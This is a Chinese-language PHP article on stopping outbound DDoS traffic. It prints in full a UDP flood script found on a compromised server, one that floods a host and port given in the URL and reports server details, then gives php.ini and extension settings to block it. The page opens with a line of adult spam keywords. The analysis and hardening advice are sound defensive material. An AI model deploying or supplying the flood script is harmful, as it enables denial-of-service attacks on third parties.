亚洲乱码中文字幕综合,中国熟女仑乱hd,亚洲精品乱拍国产一区二区三区,一本大道卡一卡二卡三乱码全集资源,又粗又黄又硬又爽的免费视频

php的ddos攻擊解決方法

 更新時間:2015年01月08日 09:22:20   投稿:shichen2014  
這篇文章主要介紹了php的ddos攻擊解決方法,實例分析了ddos攻擊程序的原理與針對性的解決方法,是非常實用的技巧,需要的朋友可以參考下

本文實例講述了php的ddos攻擊解決方法。分享給大家供大家參考。具體分析如下:

今天自己的一臺機器突然向外部發(fā)送大量數(shù)據(jù)包,可每秒到1G以上,雖然我用策略把UDP禁止包是發(fā)不出去但是很占cup啊,所以想到最后還是想辦法解決了.

先看源碼,代碼如下:

復制代碼 代碼如下:
<?php
set_time_limit(999999);
$host = $_GET['host'];
$port = $_GET['port'];
$exec_time = $_GET['time'];
$Sendlen = 65535;
$packets = 0;
ignore_user_abort(True);
 
if (StrLen($host)==0 or StrLen($port)==0 or StrLen($exec_time)==0){
        if (StrLen($_GET['rat'])<>0){
                echo $_GET['rat'].$_SERVER["HTTP_HOST"]."|".GetHostByName($_SERVER['SERVER_NAME'])."|".php_uname()."|".$_SERVER['SERVER_SOFTWARE'].$_GET['rat'];
                exit;
            }
        echo "Parameters can not be empty!";
        exit;
    }
 
for($i=0;$i<$Sendlen;$i++){
        $out .= "A";
    }
 
$max_time = time()+$exec_time;
 
while(1){
    $packets++;
    if(time() > $max_time){
        break;
    }
    $fp = fsockopen("udp://$host", $port, $errno, $errstr, 5);
        if($fp){
            fwrite($fp, $out);
            fclose($fp);
    }
}
 
echo "Send Host:$host:$port<br><br>";
echo "Send Flow:$packets * ($Sendlen/1024=" . round($Sendlen/1024, 2) . ")kb / 1024 = " . round($packets*$Sendlen/1024/1024, 2) . " mb<br><br>";
echo "Send Rate:" . round($packets/$exec_time, 2) . " packs/s;" . round($packets/$exec_time*$Sendlen/1024/1024, 2) . " mb/s";
?>

關鍵代碼在于如下:
復制代碼 代碼如下:
$fp = fsockopen("udp://$ip", $rand, $errno, $errstr, 5);

方法很簡單,向目標主機發(fā)送UDP包,在加上定義無限死循環(huán),就會形成較大的壓力.

這個壓力是對于執(zhí)行這個腳本的服務器來說的,因為它首先對自身的網(wǎng)寬、CPU等資源造成大量占用,如果想用這個腳本對目標站點形成壓力,需要在多個服務器上執(zhí)行該腳本,DDOS嘛,既然是用fsockopen請求外部,那就不讓他請求.

php.ini里設置,代碼如下:

復制代碼 代碼如下:
allow_url_fopen = Off

如果這樣他還是能發(fā)包,代碼如下:

extension=php_sockets.dll

改成

;extension=php_sockets.dll

重啟APACHE、IIS、NGINX,這樣就可以防止PHP DDOS發(fā)包了.

另外有網(wǎng)友說,讓腳本不允許設置為不超時很簡單:

1. 把set_time_limit函數(shù)禁用

2. 啟用PHP的安全模式(safe_mode=on).

禁用socket函數(shù)可以把把socket模塊直接全部禁用也可以禁用fsockopen函數(shù),建議,由于socket常用于發(fā)送郵件找回密碼,因此建議開啟直接開啟安全模式,但是這樣的話,腳本每30秒超時一次,估計沒有哪個“黑客”寂寞到每30秒去點一下開始DDOS.

經(jīng)驗:這種問題一般是網(wǎng)站安全引起的,我們要注意網(wǎng)站的安全及服務器的安全,這樣就不容易被入侵了,如果會用macofee的朋友,對網(wǎng)站進行限制一下就會更好一些.

希望本文所述對大家的php程序設計有所幫助。

相關文章

  • php使用pthreads v3多線程實現(xiàn)抓取新浪新聞信息操作示例

    php使用pthreads v3多線程實現(xiàn)抓取新浪新聞信息操作示例

    這篇文章主要介紹了php使用pthreads v3多線程實現(xiàn)抓取新浪新聞信息操作,結合實例形式分析了php使用pthreads多線程抓取新浪新聞信息具體實現(xiàn)步驟與操作技巧,需要的朋友可以參考下
    2020-02-02
  • PHP刪除數(shù)組中特定元素的兩種方法

    PHP刪除數(shù)組中特定元素的兩種方法

    今天小編就為大家分享一篇關于PHP刪除數(shù)組中特定元素的兩種方法,小編覺得內(nèi)容挺不錯的,現(xiàn)在分享給大家,具有很好的參考價值,需要的朋友一起跟隨小編來看看吧
    2019-02-02
  • PHP中有關長整數(shù)的一些操作教程

    PHP中有關長整數(shù)的一些操作教程

    這篇文章主要給大家介紹了關于PHP中有關長整數(shù)的一些操作教程,文中通過示例代碼介紹的非常詳細,對大家學習或者使用PHP具有一定的參考學習價值,需要的朋友們下面來一起學習學習吧
    2019-09-09
  • php面向對象程序設計

    php面向對象程序設計

    在面向對象的程序設計(英語:Object-oriented programming,縮寫:OOP)中,對象是一個由信息及對信息進行處理的描述所組成的整體,是對現(xiàn)實世界的抽象
    2022-11-11
  • PHP函數(shù)超時處理方法

    PHP函數(shù)超時處理方法

    這篇文章主要介紹了PHP函數(shù)超時處理方法,結合實例形式分析了基于register_shutdown_function的超時處理相關技巧,具有一定參考借鑒價值,需要的朋友可以參考下
    2016-02-02
  • PHP文件生成的圖片無法使用CDN緩存的解決方法

    PHP文件生成的圖片無法使用CDN緩存的解決方法

    這篇文章主要介紹了PHP文件生成的圖片無法使用CDN緩存的解決方法,這里的PHP生成圖片是指src地址是一個PHP文件的圖片,如果不做CDN,服務器的壓力會非常大,本文就講解了如何加進CDN的方法,需要的朋友可以參考下
    2015-06-06
  • php遞歸函數(shù)中使用return的注意事項

    php遞歸函數(shù)中使用return的注意事項

    php遞歸函數(shù)中使用return的時候會碰到無法正確返回想要的值得情況,下面就來舉例子來說明一下吧
    2014-01-01
  • PHP模塊化安裝教程

    PHP模塊化安裝教程

    這篇文章主要介紹了PHP模塊化安裝的方法,較為詳細的分析了php模塊化安裝的步驟與相關注意事項,具有一定參考借鑒價值,需要的朋友可以參考下
    2016-06-06
  • PHP中開啟gzip壓縮的2種方法

    PHP中開啟gzip壓縮的2種方法

    這篇文章主要介紹了PHP中開啟gzip壓縮的2種方法,本文介紹了php配置文件與開啟方法、php文件開啟方法,需要的朋友可以參考下
    2015-01-01
  • 詳解PHP接口簽名驗證

    詳解PHP接口簽名驗證

    工作中,我們時刻都會和接口打交道,有的是調(diào)取他人的接口,有的是為他人提供接口,在這過程中肯定都離不開簽名驗證。本文將詳細介紹PHP接口簽名驗證。
    2021-06-06

最新評論